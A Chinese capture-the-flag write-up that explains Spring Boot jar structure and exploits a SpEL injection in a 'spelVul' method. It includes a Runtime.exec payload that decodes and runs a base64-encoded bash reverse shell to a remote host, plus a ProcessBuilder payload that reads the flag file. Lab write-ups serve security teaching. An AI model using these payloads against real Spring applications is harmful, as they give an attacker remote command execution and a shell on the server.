【PolarCTF】ezjava

可以使用IDEA加载
创建一件lib目录,然后把jar放进去,右键【添加为库】

点击确定

即可看到代码

也可以使用jd

基础知识

BOOT-INF:存放的是自己的项目代码和所有第三方依赖jar
BOOT-INF/classes:你写的代码编译后的class文件,yml/properties配置、静态资源、模板文件
BOOT-INF/lib:第三方依赖jar包
org.springframework.boot.loader:SpringBoot自定义类加载器
META-INF:jar自带的元信息目录,最重要的文件是MANIFEST.MF清单文件
SpringBoot 打包后的MANIFEST.MF里面会写两行关键配置:
Main-Class: org.springframework.boot.loader.JarLauncher Start-Class: com.xxx.你的项目主启动类

  • Main‑Class:告诉 JVM,java‑jar启动时入口是JarLauncher(loader 里面的类),不是你的 main。
  • Start‑Class:记录你自己写的 SpringBoot 主类,JarLauncher读到这个值,再反射调用你的 main 方法。
    Jar包的启动流程:
  1. 执行java -jar demo.jar,JVM 读取META‑INF/MANIFEST.MF,找到Main‑Class=JarLauncher
  2. JVM 运行org.springframework.boot.loader.JarLauncher
  3. JarLauncher 创建自定义类加载器,扫描加载BOOT‑INF/lib下所有嵌套 jar、BOOT‑INF/classes你的代码
  4. 读取Start‑Class,反射执行你项目的 main 函数,SpringBoot 应用正式跑起来。

SPEL注入漏洞

SpelExpressionParser函数

通过阅读代码可以看到spelVul函数接收一个ex参数
同时还实例化了一个SpelExpressionParser函数,并且对ex参数进行解析执行
那么我们就可以通过ex来进行任意命令执行

复制代码
public String spelVul(String ex) {
    // 创建SpEL表达式解析器对象
    ExpressionParser parser = new SpelExpressionParser();
    // 创建SpEL的运行求值上下文环境
    EvaluationContext evaluationContext = new StandardEvaluationContext();
    // 解析传入的字符串ex为SpEL表达式,在上下文执行,获取返回对象,转字符串
    String result = parser.parseExpression(ex).getValue(evaluationContext).toString();
    // 打印执行结果
    System.out.println(result);
    return result;
}

我们进行测试下,发现可以成功执行我们输入的表达式

下面是攻击的payload,由于靶机不出网,所以我们直接读取flag即可

复制代码
# 反弹shell
T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zMzc0xMDcuMTEzLjIjJiE1MC85MDAyIIDA+JjE=}|{base64,-d}|{bash,-i}")
# 读取flag
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","cat /app/flag*"}).start().getInputStream(), "gbk")).readLine()

这里注意要用Max hackbar这个插件发送才行,也不知道为啥,试了burp抓包和hackbar都是会400
Max hackbar: https://github.com/mr-bipolar/hackbar
浏览器用的FireFox Developer

相关推荐
青藤云安全6 小时前
AI攻防备战报告(运营商篇)|攻击面 “3+1” 解析:通信关基面临的新型 AI 安全风险
人工智能·网络安全·ai
zbtlink6 小时前
从 DDR4 颗粒到路由器价签:一轮存储涨价的三层传导与复算
网络·网络安全·智能路由器
三垣网安21 小时前
漏洞实战|高校虚拟实验平台报错型 SQL 注入漏洞复现
网络·经验分享·sql·安全·web安全·网络安全·水平越权
网络小江1 天前
组网第27课:ARP 的能与不能——免费 ARP、代理 ARP 与 ARP 欺骗
服务器·网络·网络安全·负载均衡·免费arp
愤怒火龙果1 天前
蓝队笔记整理01 C2 远控与 Webshell 流量特征
笔记·网络安全
学逆向的1 天前
C 宏函数
c语言·开发语言·网络安全
启博网络1 天前
智慧档案库房工业组网:MR-1280 边缘大脑,实现温湿度、漏水、防火防盗设备智能联动教程
运维·网络·物联网·网络协议·网络安全·信息与通信·sdwan
学逆向的1 天前
C 悬空指针
c语言·开发语言·网络安全
时代新威powertime2 天前
时代新威·视角|云计算平台中数据隐私保护机制的研究
网络安全·云计算
dk_tjy2 天前
迪康加密系统技术解析:驱动层透明加密的机制、策略与工程权衡
运维·安全·网络安全·终端安全管理·数据防泄漏